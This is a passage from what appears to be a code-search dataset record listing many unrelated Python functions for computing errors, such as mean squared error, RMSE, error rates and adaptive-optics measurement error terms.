y_pred,\n max_rating, min_rating)\n rmse = root_mean_square_error(y_real, y_pred)\n\n return mae, nmae, rmse","def mean_error(self) -> float:\n self.ME = sum(np.array(self.sim_data[\"Human (mean)\"]) - np.array(self.sim_data[\"assigned_sim\"])) / len(self.sim_data)\n return self.ME","def error(x, xant):\n return normaInfinito(restar_vectores(x, xant)) / normaInfinito(x)","def average_error(state_edges_predicted, state_edges_actual):\r\n\r\n d1 = state_edges_predicted #Assign the predicted state edges to a variable\r\n length = list(state_edges_predicted.values()) #Create a list of the predicted state edge values\r\n z = len(length) #Find the number of elements in the list \"length\"\r\n d2 = state_edges_actual #Assign the actual state edge values to a variable\r\n d3 = {} #Create an empty dictionary\r\n\r\n for k, v in d1.items(): \r\n d3[k] = v - d2.get(k, 0) #Find the difference between the predicted values and the actual values\r\n\r\n list1 = list(d3.values()) #Assign the differences to a list\r\n x = list(map(abs, list1)) #Take the absolute value of the differences\r\n a = sum(x) #Take the sum of the new values\r\n\r\n return a/z #Calculate the average of all the errors\r","def _calculate_error(self, targets):\n\n def hist(d):\n f, v = histogram(array(d))\n i = len(f) if argmax(f) == len(f) - 1 else argmax(f)\n return v[i]\n\n devxs, devys = list(zip(*[r.dev_centroid for r in targets]))\n\n if len(targets) > 2 and self.use_histogram:\n dx = hist(devxs)\n dy = hist(devys)\n else:\n\n def avg(s):\n return sum(s) / len(s)\n\n dx = avg(devxs)\n dy = avg(devys)\n\n return -dx, dy"],"string":"[\n \"def tracking_error(port_returns, market_returns):\\n\\n return np.std(port_returns - market_returns)\",\n \"def tracking_error(port_returns, market_returns):\\n\\n return np.std(port_returns - market_returns)\",\n \"def stderr(predicted, actual):\\n return np.sqrt(mse(predicted, actual))\",\n \"def get_error(self, params):\\n return self.endog - self.predict(params)\",\n \"def calc_error_dist(self):\\n pass\",\n \"def OF1_CalcErrorEstimation(param_list, args):\\n #return (sum( \\\\\\n #( OF1_SumOfGauss(param_list, classNum, g_lvls) - histogram ) ** 2) / g_lvls.size) + \\\\\\n #(abs(sum(param_list[:classNum]) - 1) * o)\\n return (sum( \\\\\\n ( OF1_SumOfGauss(param_list, args[0], args[1]) - args[2] ) ** 2) / args[1].size) + \\\\\\n (abs(sum(param_list[:args[0]]) - 1) * args[3])\",\n \"def error(self, trainset: ([], [])):\\n # MSE = Σ | d – y |^2 / n\\n error_sum = 0.0\\n for index, example in enumerate(trainset):\\n # | d – y |^2\\n output = self.activate(example[0])\\n\\n target = example[1][0]\\n\\n error = target - output\\n error_sum += error ** 2\\n\\n # Σ |error_sum| / n\\n error_sum = error_sum / len(trainset)\\n return error_sum\",\n \"def error_compute(self):\\n self.tt_error = np.linalg.norm(self.rel_error)\\n if self.global_rank==0:print('Overall error is::',self.tt_error)\\n return {'NMF': self.rel_error, 'tt': self.tt_error}\",\n \"def error(self,pt,eta):\\n return self._data[self.__ptBin(pt)][self.__etaBin(eta)][1]\",\n \"def calculate_error(self):\\n \\n delta = self.Y - self.T\\n error = delta.dot(delta) / self.N\\n error = format(error, '.5f')\\n \\n self.errors.append(error)\",\n \"def error(line, data): # error function\\n # Metric: Sum of squared Y-axis differences\\n err = np.sum((data[:, 1] - (line[0] * data[:, 0] + line[1])) ** 2)\\n return err\",\n \"def _calculate_measurement_error(self): \\n \\n # Calculate Hartmann Spot\\n # FIXME what are factor_1, factor_2 ???\\n factor_1, factor_2 = 206265*5.89e-7, 206265*6.5e-7\\n term1, term2 = factor_1/self.actuator_spacing, factor_2/self.r0\\n hartmann_spot = np.max([term1, term2])\\n \\n # Calculate SNR \\n n_pix=4 # FIXME spreadsheet says not to change this idk why?\\n sample_time = 1/(10*self.controller_frequency)\\n brightness = (8.9e5)*10**((0-self.guide_star_mag)/2.5)\\n n_photons = brightness*sample_time*((100*self.actuator_spacing)**2)\\n snr = n_photons/np.sqrt(n_photons + n_pix*(self.sigma_readnoise)**2)\\n\\n # Calculate noise propagator \\n degrees_of_freedom = np.round((np.pi/4) * (self.telescope_diameter/self.actuator_spacing)**2)\\n factor_1, factor_2 = 0.0536, 0.0795 # FIXME WHAT THE HECK IS THIS\\n if self.aperture == 'circular':\\n factor_1, factor_2 = 0.0068, 0.0796\\n noise_propagator = np.sqrt(2*(factor_1 + factor_2*np.log(degrees_of_freedom)))\\n\\n # Calculate close loop averaging\\n controller_over_frame = 1/10\\n close_loop_averaging = np.sqrt(2*controller_over_frame)*np.arctan(1/(2*controller_over_frame))\\n sigma_measurement = noise_propagator * close_loop_averaging * (self.actuator_spacing*1e9) * (hartmann_spot/snr*4.84814e-6)\\n self.sigma_measurement = sigma_measurement # in nm\",\n \"def diff_of_errors(self):\\n self.e_of_e = self.azimuth_error - self.altitude_error\\n return self.e_of_e\",\n \"def error_calculation_test(self):\\n dataOrg = [[1,1], [2,2], [3,3], [4,4], [5,5], [6,6], [7,8], [7.3, 5], [8, 0], [9,10]]\\n dataCalc = [[1,3], [2,5], [3,0], [4,3], [5,5], [6.1,6], [7,3], [7.3, 5], [8, 0], [9,9]]\\n # abs difference: 2 3 3 1 0 NA 5 0 NA 1\\n # local errors: 200 150 200 50 0 NA 125 0 NA 20\\n # sum: 745\\n\\n tsOrg = TimeSeries.from_twodim_list(dataOrg)\\n tsCalc = TimeSeries.from_twodim_list(dataCalc)\\n\\n wmape = WeightedMeanAbsolutePercentageError()\\n wmape.initialize(tsOrg, tsCalc)\\n assert str(wmape.get_error())[:6] == \\\"93.125\\\"\",\n \"def error(Y, X):\\n return (Y - X) ** 2\",\n \"def compute_error(self):\\n \\n self.error = pd.DataFrame()\\n \\n for name in self.conf[\\\"w_sizes\\\"].keys():\\n \\n self.error[f\\\"mae {name}\\\"] = self.predict[[name, \\\"test\\\"]].apply(lambda x: mae(x), axis=1)\\n self.error[f\\\"mape {name}\\\"] = self.predict[[name, \\\"test\\\"]].apply(lambda x: MAPE(x[0], x[1]), axis=1)\\n \\n self.predict['error'] = self.error.filter(like='mae').apply(lambda r: tuple(r), axis=1).apply(np.array)\",\n \"def calculate_ao_error_terms(self):\\n\\n self._calculate_r0()\\n self._calculate_greenwood_frequency()\\n \\n self._calculate_diffraction_limit() # in mas\\n self._calculate_actuators_across()\\n self._calculate_spatial_frequency_cutoff()\\n\\n self._calculate_fitting_error()\\n self._calculate_measurement_error()\\n self._calculate_anisoplatanism_error()\\n self._calculate_bandwidth_error()\",\n \"def get_error_estimates(self, Y, M1, M2=None):\\n # First K0 and K1\\n Mminus = M1\\n if M2 is None:\\n Mplus = M1\\n else:\\n Mplus = M2\\n if self.Cp0 != 0 and self.Cp1 != 0 and self.Cm != 0:\\n Cp0 = self.Cp0\\n Cp1 = self.Cp1\\n Cm = self.Cm\\n else:\\n PP = self.principal_part()\\n Cmax = max(PP.values())\\n Kmax = 0\\n for t in PP.keys():\\n if isinstance(t, tuple):\\n (c, l) = t\\n elif isinstance(t, (int, Integer)):\\n (c, l) = rn_from_D(self._space.multiplier(), t)\\n else:\\n raise ValueError(\\\"Incorrect principal part: t={0}\\\".format(t))\\n if c in self._space.multiplier().D():\\n tmp = l + self._space.multiplier().Qv[self._space.index_set().index(c)]\\n elif c in range(len(self._space.multiplier().Qv)):\\n tmp = l + self._space.multiplier().Qv[c]\\n else:\\n raise ValueError(\\\"Incorrect principal part: c,l={0},{1}\\\".format(c, l))\\n if(abs(tmp) > Kmax):\\n Kmax = abs(tmp)\\n [Cp0, Cp1] = self._space.get_Cp(Cmax)\\n Cm = self._space.get_Cm(Kmax, Cmax)\\n self.Cp0 = Cp0\\n self.Cp1 = Cp1\\n self.Cm = Cm\\n\\n fak = len(self._space.index_set())\\n # print \\\"Cp0,Cp1,Cm=\\\",Cp0,Cp1,Cm\\n # print \\\"fak=\\\",fak\\n\\n er1 = fak * self._space.err_est_vv_hwmf_neg(Y, Mminus, Cm)\\n er2 = fak * self._space.err_est_vv_hwmf_pos(Y, Mplus, Cp0, Cp1)\\n return [er1, er2]\",\n \"def err_func(x,rv,valore,specn,lcrop,models='da2014'):\\n tmp = tmp_func(x[0], x[1], rv, specn, lcrop, models)\\n if tmp != 1: return abs(tmp[3]-(valore+1.)) #this is quantity that gets minimized \\n else: return 1E30\",\n \"def compute_errors(gt, pred):\\n thresh = np.maximum((gt / pred), (pred / gt))\\n a1 = (thresh < 1.25 ).mean()\\n a2 = (thresh < 1.25 ** 2).mean()\\n a3 = (thresh < 1.25 ** 3).mean()\\n\\n rmse = (gt - pred) ** 2\\n rmse = np.sqrt(rmse.mean())\\n\\n rmse_log = (np.log(gt) - np.log(pred)) ** 2\\n rmse_log = np.sqrt(rmse_log.mean())\\n\\n abs_rel = np.mean(np.abs(gt - pred) / gt)\\n\\n sq_rel = np.mean(((gt - pred) ** 2) / gt)\\n\\n return abs_rel, sq_rel, rmse, rmse_log, a1, a2, a3\",\n \"def error(clf, X, y, ntrials=100, test_size=0.2) :\\n\\n train_error = 0\\n test_error = 0\\n ### ========== TODO : START ========== ###\\n # compute cross-validation error over ntrials\\n # hint: use train_test_split (be careful of the parameters)\\n for i in range(0,ntrials, 1):\\n #get the value of the error for each division\\n #train on the test data for the clf\\n #test also on the data\\n #X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.33, random_state = 42)\\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size= test_size, random_state=i)\\n #now find the error\\n #first train the model\\n #then predict\\n #check the accuracy\\n clf.fit(X_train,y_train)\\n y_pred = clf.predict(X_train)\\n #now find the error for the train_error\\n train_err = 1 - metrics.accuracy_score(y_train, y_pred, normalize=True)\\n train_error += train_err\\n\\n y_pred = clf.predict(X_test)\\n test_err = 1 - metrics.accuracy_score(y_test, y_pred, normalize=True)\\n test_error += test_err\\n\\n\\n #get the average\\n train_error = float(train_error)/((1-test_size)*len(X))\\n test_error = float(test_error)/((test_size)*len(X))\\n ### ========== TODO : END ========== ###\\n\\n return train_error, test_error\",\n \"def _error(self, Y, T):\\n err = np.mean((Y - T)**2)\\n return err\",\n \"def transformMeasurementError(self):\\n var = self.model.observationError**2\\n self.errShD = self.model.observationError\\n self.errSinvD = 1.0/var\\n self.errSinvhD = np.sqrt(self.errSinvD)\",\n \"def calculate_energy_conservation_error(self):\\n assert self.data is not None\\n # calculate total energy at start and end of simulation\\n energy_start = self.measure_total_energy(self.t0)\\n energy_end = self.measure_total_energy(self.t1)\\n \\n # calculate accuracy\\n error = abs(1.0 - energy_start/energy_end)\\n \\n return error\",\n \"def compute_errors(gt, pred, selector):\\n gt = gt[selector]\\n pred = pred[selector]\\n\\n thresh = np.maximum((gt / pred), (pred / gt))\\n a1 = (thresh < 1.25 ).mean()\\n a2 = (thresh < 1.25 ** 2).mean()\\n a3 = (thresh < 1.25 ** 3).mean()\\n\\n rmse = (gt - pred) ** 2\\n rmse = np.sqrt(rmse.mean())\\n\\n rmse_log = (np.log(gt) - np.log(pred)) ** 2\\n rmse_log = np.sqrt(rmse_log.mean())\\n\\n abs_rel = np.mean(np.abs(gt - pred) / gt)\\n\\n sq_rel = np.mean(((gt - pred) ** 2) / gt)\\n\\n return abs_rel, sq_rel, rmse, rmse_log, a1, a2, a3\",\n \"def errors_experiment(data, conf):\\n\\n mean = np.sum(data / conf ** 2) / np.sum(1 / conf ** 2)\\n error = np.sum(1 / conf ** 2) ** (-1 / 2)\\n error = max(error, np.max(conf))\\n\\n return mean, error\",\n \"def error(self): \\n if not self.terminal:\\n err = sum([v**2 for v in self.state + self.q[:-1]])\\n else:\\n err = sum([v**2 for v in LIMITS[:9]] + [1.0 - LIMITS[9]**2])\\n err *= (self.max_steps - self.steps)\\n return err\",\n \"def nzErr(xerr, yerr, vxerr, vyerr, year_x, year_y, mag, alnDir = '13_08_21/', chainsDir = 'efit/chains_S0-2_newRV2/'):\\n\\n #Read in values for error in position and velocity of sgr*\\n origin_val = asciidata.open('/g/ghez/align/' + alnDir + chainsDir + 'efit_summary.txt')\\n ori_x0e = origin_val[25][0]\\n ori_y0e = origin_val[26][0]\\n ori_vxe = origin_val[27][0]\\n ori_vye = origin_val[28][0]\\n t_0 = 2000.0 #hard coded t_0 of sgr*\\n\\n # magBins=np.array([9,11,12,13,14,15,16,17,18,19,20,21])\\n # deltaArr=np.array([3.5,71.0,58.0,210.0,300.0,650.0,700.0,1100.0,1900.0,2200.0,3000.0])*1e-6\\n\\n# delta = mag*0.0\\n# for i in range(len(mag)):\\n# for j in range(len(deltaArr)):\\n# if ((mag[i] > magBins[j]) & (mag[i] <= magBins[j+1])):\\n# delta[i]=deltaArr[j]\\n\\n#pdb.set_trace()\\n\\n #Update errors\\n xerr = np.sqrt(xerr**2 + ori_x0e**2 + ((year_x - t_0)*ori_vxe)**2)\\n yerr = np.sqrt(yerr**2 + ori_y0e**2 + ((year_y - t_0)*ori_vye)**2)\\n vxerr = np.sqrt(vxerr**2 + ori_vxe**2)\\n vyerr = np.sqrt(vyerr**2 + ori_vye**2)\\n\\n return xerr, yerr, vxerr, vyerr\",\n \"def _df_err(self):\\n return self.n - self.k - 1\",\n \"def error_rate(dataset, estimates):\\n\\tincorrect = 0.0\\n\\tcount = 0.0\\n\\n\\tfor idx in range(len(estimates)):\\n\\t\\testimate = estimates[idx]\\n\\t\\t_, actual = dataset[idx]\\n\\t\\tfor e, a in zip(estimate, actual):\\n\\t\\t\\tcount += 1.0\\n\\t\\t\\tif e != a:\\n\\t\\t\\t\\tincorrect += 1.0\\n\\t\\n\\treturn incorrect / count\",\n \"def error(self, X, y):\\n ans = self.predict(X)\\n return np.sum(np.logical_not(np.equal(ans,y))) / len(X)\",\n \"def cps_err(self):\\n return np.sqrt(self.totalcounts) / self.exptime\",\n \"def get_error(deltas, sums, weights):\\n \\n print(deltas)\\n print(sums)\\n print(weights)\\n print('===================================')\\n \\n # here goes your code\\n A = weights.T.dot(deltas.T)\\n print(A)\\n B = sigmoid_prime(sums)\\n print(B)\\n \\n print(A.shape)\\n print(B.shape)\\n C = A.T * B\\n print(C)\\n D = C.mean(axis=0)\\n print(D)\\n print(D.shape)\\n \\n return ((weights.T.dot(deltas.T)).T * sigmoid_prime(sums)).mean(axis=0)\",\n \"def Error_estimation(params, qu=None, qu_err=None, p_maxL=None, par=False):\\n \\n if par is True:\\n print('Estimate uncertainties for the parameters')\\n sigma = par_err(params)\\n return(sigma)\\n elif qu is not None:\\n N = len(qu[0,:])\\n model_err = np.zeros((3, N))\\n star_err = np.zeros((3,N))\\n msg = 'Estimate model uncertainties'\\n print(msg)\\n if qu_err is None:\\n print(' -> by varying the model')\\n star_err[:-1,:] = np.std(QU_func(params, qu, star=True), axis=2)\\n model_err[:-1,:] = np.std(QU_func(params, qu), axis=2)\\n bkgr_err = np.std(background(params[N:,:]), axis=2) #?\\n \\n else:\\n print('-> using data and parameters')\\n err = par_err(params)\\n s_ax = (p_maxL[:N]*qu_err)**2 + (qu*err[:N])**2\\n s_b = np.array([(err[N:-1]*np.cos(2*p_maxL[-1]))**2 +\\\\\\n (2*p_maxL[N:-1]*err[-1]*np.sin(2*p_maxL[-1]))**2,\\\\\\n (err[N:-1]*np.sin(2*p_maxL[-1]))**2 +\\\\\\n (2*p_maxL[N:-1]*err[-1]*np.sin(2*p_maxL[-1]))**2])\\n model_err[:-1,:] = np.sqrt(s_ax + s_b)\\n star_err[:-1,:] = np.sqrt(s_ax)\\n bkgr_err = np.sqrt(s_b)\\n star_err[-1,:] = np.sqrt(Cov(star_err[0,:], star_err[1,:]))\\n model_err[-1,:] = np.sqrt(Cov(model_err[0,:], model_err[1,:]))\\n return(model_err, star_err, bkgr_err)\",\n \"def error(beta_0: float, beta_1: float, x_i: float, y_i: float) -> float:\\n return predict(beta_0, beta_1, x_i) - y_i\",\n \"def compute_error(data, user_features, item_features, nz):\\n sum_err = 0\\n for d, n in nz:\\n err = data[d,n] - np.dot(item_features[d,:],user_features[:,n])\\n sum_err += err**2\\n rmse = 0.5*sum_err/len(nz)\\n return rmse\",\n \"def _computeError(self, inputs, targets):\\n return .5*np.sum((targets-self._pcnfwd(inputs))**2)\",\n \"def calc_error_amp(amp_pred, pdur, model):\\n theta_pred = list(forward_pass(model, pdur, amp_pred))[0]\\n return np.log(np.maximum(1e-10, (theta_pred - model.theta) ** 2))\",\n \"def compute_global_error(g):\\n Fx = 0\\n for edge in g.edges:\\n\\n # pose-pose constraint\\n if edge.Type == 'P':\\n\\n # compute idx for nodes using lookup table\\n fromIdx = g.lut[edge.fromNode]\\n toIdx = g.lut[edge.toNode]\\n\\n # get node state for the current edge\\n x1 = g.x[fromIdx:fromIdx + 3]\\n x2 = g.x[toIdx:toIdx + 3]\\n\\n # get measurement and information matrix for the edge\\n z12 = edge.measurement\\n info12 = edge.information\\n\\n # (TODO) compute the error due to this edge`\\n z12 = v2t(z12)\\n x1 = v2t(x1)\\n x2 = v2t(x2)\\n eij = t2v(np.linalg.inv(z12) @ np.linalg.inv(x1) @ x2)\\n Fx = Fx + eij.transpose() @ info12 @ eij\\n # pose-pose constraint\\n elif edge.Type == 'L':\\n print(\\\"You shouldn't be here.\\\")\\n # compute idx for nodes using lookup table\\n fromIdx = g.lut[edge.fromNode]\\n toIdx = g.lut[edge.toNode]\\n\\n # get node states for the current edge\\n x = g.x[fromIdx:fromIdx + 3]\\n l = g.x[toIdx:toIdx + 2]\\n\\n # get measurement and information matrix for the edge\\n z = edge.measurement\\n info12 = edge.information\\n\\n # (TODO) compute the error due to this edge\\n # TODO2 : do on homo matrices\\n xtr = v2t(x)\\n R = xtr[0:2, 0:2]\\n eil = R.transpose() @ (l - x[0:2]) - z\\n Fx = Fx + eil.transpose() @ info12 @ eil\\n\\n return Fx\",\n \"def train_error(self):\\n self.prediction = self.predict()\\n pred = self.prediction.reshape(-1)\\n self.error = np.sum(pred != self.label) / self.train_data.shape[0]\\n return(self.error)\",\n \"def __error(self, R, P, Q, K, beta):\\n e = 0\\n for i in xrange(len(R)):\\n for j in xrange(len(R[i])):\\n if R[i][j] > 0:\\n\\n # loss function error sum( (y-y_hat)^2 )\\n e = e + pow(R[i][j]-numpy.dot(P[i,:],Q[:,j]), 2)\\n\\n # add regularization\\n for k in xrange(K):\\n\\n # error + ||P||^2 + ||Q||^2\\n e = e + (beta/2) * ( pow(P[i][k], 2) + pow(Q[k][j], 2) )\\n return e\",\n \"def error(self, X, y):\\n predicted = self.predict(X)\\n y = self.transformy(y)\\n return 1 - (y == predicted).sum() / predicted.size\",\n \"def _compute_errors(self):\\n self.errors = np.sqrt(self.data)\\n self.errors[self.errors == 0.] = 1.\",\n \"def MeanSqError(self):\\r\\n\\t\\treturn self.mse\",\n \"def calc_error(self):\\n if self._fit_data.y is not None and self._fit_data.y_fit is not None:\\n self._fit_data.error_vector = self._fit_data.y - self._fit_data.y_fit\",\n \"def erreur(t, prediction):\\n if np.isscalar(t):\\n return (t-prediction)**2\\n else:\\n return np.mean((t-prediction)**2)\",\n \"def dependent_error_exp(data, weak_signal_data, num_weak_signal):\\n\\n w_model = train_weak_signals(data, weak_signal_data, num_weak_signal)\\n\\n training_data = data['training_data'][0].T\\n training_labels = data['training_data'][1]\\n val_data, val_labels = data['validation_data']\\n val_data = val_data.T\\n test_data = data['test_data'][0].T\\n test_labels = data['test_data'][1]\\n\\n num_features, num_data_points = training_data.shape\\n\\n weak_signal_ub = w_model['error_bounds']\\n weak_signal_probabilities = w_model['probabilities']\\n weak_test_accuracy = w_model['test_accuracy']\\n\\n weights = np.zeros(num_features)\\n\\n print(\\\"Running tests...\\\")\\n\\n optimized_weights, ineq_constraint = train_all(val_data, weights, weak_signal_probabilities, weak_signal_ub, max_iter=5000)\\n\\n # calculate test probabilities\\n test_probabilities = probability(test_data, optimized_weights)\\n # calculate test accuracy\\n test_accuracy = getModelAccuracy(test_probabilities, test_labels)\\n\\n print(\\\"\\\")\\n print(\\\"+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\\\")\\n print(\\\"Experiment %d\\\"%num_weak_signal)\\n print(\\\"We trained %d learnable classifiers with %d weak signals\\\" %(1, num_weak_signal))\\n print(\\\"The accuracy of the model on the test data is\\\", test_accuracy)\\n print(\\\"The accuracy of weak signal(s) on the test data is\\\", weak_test_accuracy)\\n print(\\\"\\\")\\n\\n # calculate ge criteria\\n print(\\\"Running tests on ge criteria...\\\")\\n model = ge_criterion_train(val_data.T, val_labels, weak_signal_probabilities, num_weak_signal)\\n ge_test_accuracy = accuracy_score(test_labels, np.round(probability(test_data, model)))\\n print(\\\"The accuracy of ge criteria on test data is\\\", ge_test_accuracy)\\n print(\\\"+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\\\")\\n\\n # calculate baseline\\n print(\\\"Running tests on the baselines...\\\")\\n baselines = runBaselineTests(val_data, weak_signal_probabilities)\\n b_test_accuracy = getWeakSignalAccuracy(test_data, test_labels, baselines)\\n print(\\\"The accuracy of the baseline models on test data is\\\", b_test_accuracy)\\n print(\\\"\\\")\\n\\n output = {}\\n output['ALL'] = test_accuracy\\n output['WS'] = w_model['test_accuracy'][-1]\\n output['GE'] = ge_test_accuracy\\n output['AVG'] = b_test_accuracy[-1]\\n\\n return output\",\n \"def computeErrorRate(test_sent, viterbi_tag_sequence):\\n # initiate vars\\n correct_predictions = 0\\n total_predictions = 0\\n correct_unknown_predictions = 0\\n total_unknown_predictions = 0\\n\\n for j in range(len(test_sent)): # iterate tups in sent\\n expectedTag = test_sent[j][1]\\n actualTag = viterbi_tag_sequence[j]\\n if actualTag == UNKNOWN_TAG:\\n if expectedTag == UNKNOWN_TAG:\\n correct_unknown_predictions += 1\\n total_unknown_predictions += 1\\n else:\\n if actualTag == expectedTag:\\n correct_predictions += 1\\n total_predictions += 1\\n\\n err_rate_known = 1 - correct_predictions/total_predictions\\n if total_unknown_predictions == 0:\\n err_rate_unknown = 0\\n else:\\n err_rate_unknown = 1 - correct_unknown_predictions/total_unknown_predictions\\n\\n tot_pred = total_predictions + total_unknown_predictions\\n corr_pred = correct_predictions + correct_unknown_predictions\\n total_err = 1 - corr_pred/tot_pred\\n\\n return err_rate_known, err_rate_unknown, total_err\",\n \"def _ms_err(self):\\n return self._ss_err / self._df_err\",\n \"def error(b, m, x_data):\\n\\n totalError = 0\\n for i in range(0, len(x_data)):\\n x = x_data[i]\\n y = 2 * x_data[i] + 50 + 5 * np.random.random()\\n\\n totalError += (y - (m * x + b)) ** 2 # total error of gradient\\n\\n return totalError / float(len(x_data))\",\n \"def calc_error(y_real, y_pred):\\n if len(y_real) > 0:\\n curr_err = rmse(y_pred, y_real)\\n else:\\n curr_err = np.nan\\n return curr_err\",\n \"def calc_error(datasample,boots_num):\\r\\n mse_list=[]\\r\\n datasample=df_to_array(datasample)\\r\\n for i in range(boots_num):\\r\\n boots_indexs,missing_indexs=bootstrapping(datasample)\\r\\n \\r\\n boostrapped_data=datasample[boots_indexs][0]\\r\\n \\r\\n boots_outsample_data=datasample[missing_indexs]\\r\\n \\r\\n\\r\\n # Train the model \\r\\n rf_kernal=Model_Train(boostrapped_data)\\r\\n \\r\\n # Test the model\\r\\n test_features=boots_outsample_data[:,:-1]\\r\\n test_labels=boots_outsample_data[:,-1]\\r\\n pred=rf_kernal.predict(test_features)\\r\\n \\r\\n \\r\\n # Can change to MAE, MSE\\r\\n \\r\\n me=np.mean(pred-test_labels)\\r\\n #mse=np.mean((pred-train_labels)**2)\\r\\n #mae=np.mean(np.abs(pred-train_labels))\\r\\n \\r\\n mse_list.append(me)\\r\\n print('Estimated Out of Sample Error=%f'%(np.mean(mse_list)))\\r\\n return np.mean(mse_list)\",\n \"def compute_error(y_true, y_pred):\\r\\n\\r\\n # INSERT YOUR CODE HERE\\r\\n \\r\\n n = len(y_true)\\r\\n err = [y_true[i] != y_pred[i] for i in range(n)]\\r\\n return sum(err) / n\\r\\n \\r\\n raise Exception('Function not yet implemented!')\",\n \"def _calculate_anisoplatanism_error(self):\\n\\n self.sigma_anisoplatanism = np.sqrt((self.science_object_separation/self.isoplanatic_angle)**(5/3))*(self.parameter_wavelength /(2*np.pi))\",\n \"def error(self, y_predicted, y):\\n errors = []\\n for i in range(y.size): \\n errors.append((y[i]-y_predicted[i]) ** 2)\\n return mean(errors)\",\n \"def ssq_error(correct, estimate):\\n assert correct.ndim == 2\\n if np.sum(estimate ** 2) > 1e-5:\\n alpha = np.sum(correct * estimate) / np.sum(estimate ** 2)\\n else:\\n alpha = 0.\\n return np.sum((correct - alpha * estimate) ** 2)\",\n \"def error(y_pred, y_true):\\n m = len(y_true) # number of samples\\n error = np.sum( (y_pred - y_true)**2 )/m\\n return error\",\n \"def error_function(x):\\n T = [9.60497373987051638749E0,\\n 9.00260197203842689217E1,\\n 2.23200534594684319226E3,\\n 7.00332514112805075473E3,\\n 5.55923013010394962768E4]\\n U = [3.35617141647503099647E1,\\n 5.21357949780152679795E2,\\n 4.59432382970980127987E3,\\n 2.26290000613890934246E4,\\n 4.92673942608635921086E4]\\n\\n if np.abs(x) > 1.0:\\n return 1.0 - error_function_complemented(x)\\n else:\\n z = x * x\\n y = x * pol_evl(z, T, 4) / p1_evl(z, U, 5)\\n return y\",\n \"def calculate_error(self):\\n self.network.index_nodes()\\n self._calculate_dist()\\n _, relative_error = self._relative_error()\\n _, absolute_error = self._absolute_error()\\n\\n return absolute_error, relative_error\",\n \"def hf_error(A, hf_energies, cardinals, alpha):\\n hf_x, hf_y = hf_energies\\n cardinal_x, cardinal_y = cardinals\\n error_x = ((A * exp(-alpha * sqrt(cardinal_x))) - hf_x)\\n error_y = ((A * exp(-alpha * sqrt(cardinal_y))) - hf_y)\\n error = error_y - error_x\\n return error\",\n \"def ivrmse(self):\\n return (self.model_error_iv()**2).mean()**.5\",\n \"def mbe(self) -> float:\\n return float(np.mean(self._error(self.true, self.predicted)))\",\n \"def error_values(X_train,X_test,Y_train,Y_test):\\n #setting up parameters and variables for plotting \\n n_train = X_train.shape[0]\\n n_test = X_test.shape[0]\\n d = X_train.shape[1]\\n hdnode = 100\\n w1 = np.random.normal(0,0.001,d*hdnode).reshape((d,hdnode))\\n d1 = np.zeros((d,hdnode))\\n w2 = np.random.normal(0,0.001,hdnode).reshape((hdnode,1))\\n d2 = np.zeros(hdnode)\\n h = np.zeros(hdnode)\\n mb = 100 #minibatch size\\n m = int(n_train/mb)\\n batch = np.arange(m) \\n lr = 0.00020\\n EP = 20000 #needed for initializing \\n ep = 0\\n yh = np.zeros((n_train,1))\\n yh2 = np.zeros((n_test,1))\\n L_train= np.zeros(EP+1)\\n L_test = np.zeros(EP+1)\\n Y_train = Y_train.reshape(len(Y_train),1)\\n #activation function for the hidden layer is tanh\\n \\n def g(A):\\n return (np.tanh(A))\\n\\n def gd(A):\\n return (1-np.square(np.tanh(A)))\\n \\n #setting up how long the epoch will run\\n EP = 200\\n ep = 0\\n while ep < EP:\\n ep += 1\\n yh = g(X_train.dot(w1)).dot(w2)\\n yh2 = g(X_test.dot(w1)).dot(w2)\\n L_train[ep] = LA.norm(yh-Y_train.reshape(len(Y_train),1))/n_train\\n L_test[ep] = LA.norm(yh2-Y_test.reshape(len(Y_test),1))/n_test\\n \\n np.random.shuffle(batch)\\n for i in range(m):\\n st = batch[i]*mb\\n ed = (batch[i]+1)*mb\\n h = g(X_train[st:ed].dot(w1))\\n y = h.dot(w2)\\n d2 = h.T.dot(Y_train[st:ed]-y)\\n d1 = X_train[st:ed].T.dot(np.multiply((Y_train[st:ed]-y).dot(w2.T),gd(X_train[st:ed].dot(w1))))\\n w2 += lr*d2\\n w1 += lr*d1\\n return yh, yh2\",\n \"def reserrorcalc(test_set, model):\\n # Extracting X\\n X = test_set[:,:-1]\\n\\n # Extracting labels\\n Y = test_set[:,-1]\\n residual_err = sum((model.predict(X) - Y) ** 2)\\n return residual_err\",\n \"def _compute_error(self,expected_out,actual_out,error_func):\\n\\n error = error_func(expected_out,actual_out)\\n return error\",\n \"def expected_error(noise_param, states):\\n\\n from math import comb\\n import preferences\\n\\n comparison_errors = [\\n preferences.comparison_error(\\n state / states,\\n noise_param\\n )\\n for state in range(1, states)\\n ]\\n\\n n_choose_2 = comb(states, 2)\\n\\n expected_error = 0.0\\n for i, p in enumerate([(states - x)/n_choose_2 for x in range(1, states)]):\\n expected_error += p * comparison_errors[i]\\n\\n return round(expected_error, 3)\",\n \"def rms_error(self, X, y) :\\n ### ========== TODO : START ========== ###\\n # part h: compute RMSE\\n n, d = X.shape\\n error = np.sqrt(self.cost(X,y)/n)\\n ### ========== TODO : END ========== ###\\n return error\",\n \"def error_rate(error_total, tokens):\\n if len(tokens) > 0:\\n return(float(\\\"{0:.3f}\\\".format(error_total/len(tokens))))\\n else:\\n return(np.nan)\",\n \"def SARIMAX_error(series, p=10, d=2, q=2):\\n\\n X = series\\n\\n # set trainset to include all but last 48 months (4 years)\\n # only training on data between 9-4 years ago\\n train_size = int(len(X) - 48)\\n train, test = X[-108:train_size], X[train_size:]\\n\\n model = SARIMAX(train, order=(p, d, q), freq='MS',\\n initialization='approximate_diffuse')\\n\\n results = model.fit()\\n\\n # Predict 48 months from end of train set\\n forecast = results.get_forecast(steps=48)\\n pred_ci = forecast.conf_int(alpha=.05)\\n\\n predictions = forecast.predicted_mean\\n\\n rmse = RMSE(test, predictions)\\n # pct = error_as_pct(rmse, train[-1], test[-1])\\n\\n return pred_ci, rmse, (train[-1], test[-1]) # , pct\",\n \"def mse(self):\\n xs, ys = self.R.nonzero()\\n predicted = self.full_matrix()\\n error = 0\\n for x, y in zip(xs, ys):\\n # print(predicted[x, y], self.R[x, y] )\\n error += pow(self.R[x, y] - predicted[x, y], 2)\\n return np.sqrt(error)\",\n \"def calc_error(self, data):\\n errors = np.zeros(data.shape)\\n\\n # 